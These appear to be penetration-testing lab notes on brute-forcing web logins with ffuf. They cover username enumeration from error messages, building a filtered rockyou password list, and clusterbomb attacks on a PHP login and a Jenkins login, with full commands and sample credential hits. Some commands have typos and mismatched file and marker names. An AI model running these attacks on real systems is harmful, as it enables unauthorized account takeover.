FFUF

01.USER ENUMERATION

#manually verify whether the web login page will display an error stating that the user name is invalid
root@oco:~$ BROWSER > {targetSite:port}
 username: invalid
 password: invalid
 * error: "Unknown user"

#automate the process of enumerating usernames
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Usernames/xato-net-10-million-usernames.txt
root@oco:~$ ffuf -w xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
 * the -w represents the wordlist to use
 * the -u represents the target URL and page
 * the -X POST represents the HTTP method to use
 * the -H is used to add a custom header to the HTTP requests
    - the Content-Type application/x-www-form-urlencoded is often used when sending data in a form submission
 * the -d represents the data
 * the -fr is used to filter out results based on a specific response string
    - If the string "Unknown user" appears in the HTTP response, those results will be excluded from the output
    
#after identifying valid usernames, proceed by attempting to brute-force the user's password

02.IDENTIFY ERROR MESSAGE

root@oco:~$ BROWSER > {targetSite:port}
 username field: {arbitraryValue}
 password field: {arbitraryValue}
 * send expected output
 
#identified incorrect credential message
 * unknown user
 * invalid credentials

03.IDENTIFY POST PARAMETERS

root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 username field: {arbitraryValue}
 password field: {arbitraryValue}
 
 * submit the expected user input
 
POST /index.php HTTP/1.1
Host: 83.136.254.158:51572
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2j030ocgj9kbs0a18lai9m6dvg

username=test&password=test
 * identified post parameters as username=x&password=x

04.CRAFT CUSTOM PWLIST

#tailor the password to the organization's password list (if known)
 Minimum Length: 10 characters
 Must Include:
  At least one uppercase letter
  At least one lowercase letter
  At least one number
 
#
root@oco:~$ cp /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt .
root@oco:~$ wc -l rockyou.txt
 * 14344391
root@oco:~$ grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > customPWList.txt
root@oco:~$ wc -l customPWList.txt
 * 151647

05A.BRUTE FORCE (OPTION 1): CUSTOM WORDLIST

root@oco:~$ ffuf -w ./customPWList.txt -u http://94.237.59.180:47925/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"

 * the -fr flag filters results based on a regex pattern.

05B.BRUTE FORCE (OPTION 2): FFUF W/ BURP

root@htb:~$ find / -iname usernames 2>/dev/null
 /usr/share/seclists/Usernames
root@htb:~$ ls
 top-usernames-shortlist.txt
root@htb:~$ cp /usr/share/seclists/Usernames/top-usernames-shortlist.txt .

root@htb:~$ find / -iname passwords 2>/dev/null
 /usr/share/seclists/Passwords
root@htb:~$ ls
 500-worst-passwords.txt
root@htb:~$ cp /usr/share/seclists/Passwords/500-worst-passwords.txt .

root@htb:~$ burpsuite
BURP > Proxy > BROWSER
 URL: 10.129.178.161:8080
  - Forward requests until the full page is loaded
  
BURP > BROWSER > http://10.129.178.161:8080/login?from=%2F
 Welcome to Jenkins!
 Username: null
 Password: null
 
BURP > Proxy > BROWSER
 
 Requests
 ...
 POST /j_spring_security_check HTTP/1.1
 Host: 10.129.178.161:8080
 Content-Length: 55
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://10.129.178.161:8080
 Content-Type: application/x-www-form-urlencoded
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Referer: http://10.129.178.161:8080/login?from=%2F
 Accept-Encoding: gzip, deflate, br
 Accept-Language: en-US,en;q=0.9
 Cookie: JSESSIONID.9d35f114=node01hvgj3wjo0ofrnt7s0zzlo2ew0.node0
 Connection: close

 j_username=null&j_password=null&from=%2F&Submit=Sign+in
 
 right-click on the "request" section > copy to file
  Filename: requests.txt
  File Type: All Files
  
root@htb:~$ nano requests.txt
 ...
 j_username=unameFUZZ&j_password=pwFUZZ&from=%2F&Submit=Sign+in

 * add the {FUZZ} markers to the username/password section

root@htb:~$ ffuf -request request.txt -request-proto http -mode clusterbomb -w uName.txt:UFUZZ -w pWord.txt:PFUZZ -c -fr "Invalid username or password"
 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 14ms]
    * PFUZZ: root
    * UFUZZ: admin

 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 17ms]
    * PFUZZ: password1
    * UFUZZ: admin

root@htb:~$ fuf -request request.txt -request-proto http -mode clusterbomb -w uName.txt:unameFUZZ -w pWord.txt:pwFUZZ -c -fr "Invalid username or password" -r 
 [Status: 200, Size: 17516, Words: 1111, Lines: 33, Duration: 87ms]
    * PFUZZ: admin1
    * UFUZZ: root

 [Status: 200, Size: 17516, Words: 1111, Lines: 33, Duration: 96ms]
    * PFUZZ: password
    * UFUZZ: root

 [Status: 200, Size: 17516, Words: 1111, Lines: 33, Duration: 87ms]
    * PFUZZ: root
    * UFUZZ: root

 [Status: 200, Size: 17514, Words: 1111, Lines: 33, Duration: 78ms]
    * PFUZZ: password1
    * UFUZZ: root

 [Status: 200, Size: 17516, Words: 1111, Lines: 33, Duration: 88ms]
    * PFUZZ: admin
    * UFUZZ: root

root@htb:~$ root@htb:~$ fuf -request request.txt -request-proto http -mode clusterbomb -w uName.txt:unameFUZZ -w pWord.txt:pwFUZZ -c -fr "Invalid username or password" -r -fs 19540

 * the -c flag outputs the result in color
 * the -r flag follows HTTP redirects during fuzzing
 * the -fs flag filters results based on content size
 * the -fr flag filters results based on a regex pattern.

 * the final result will contain a handful of possible credentials to use

Last updated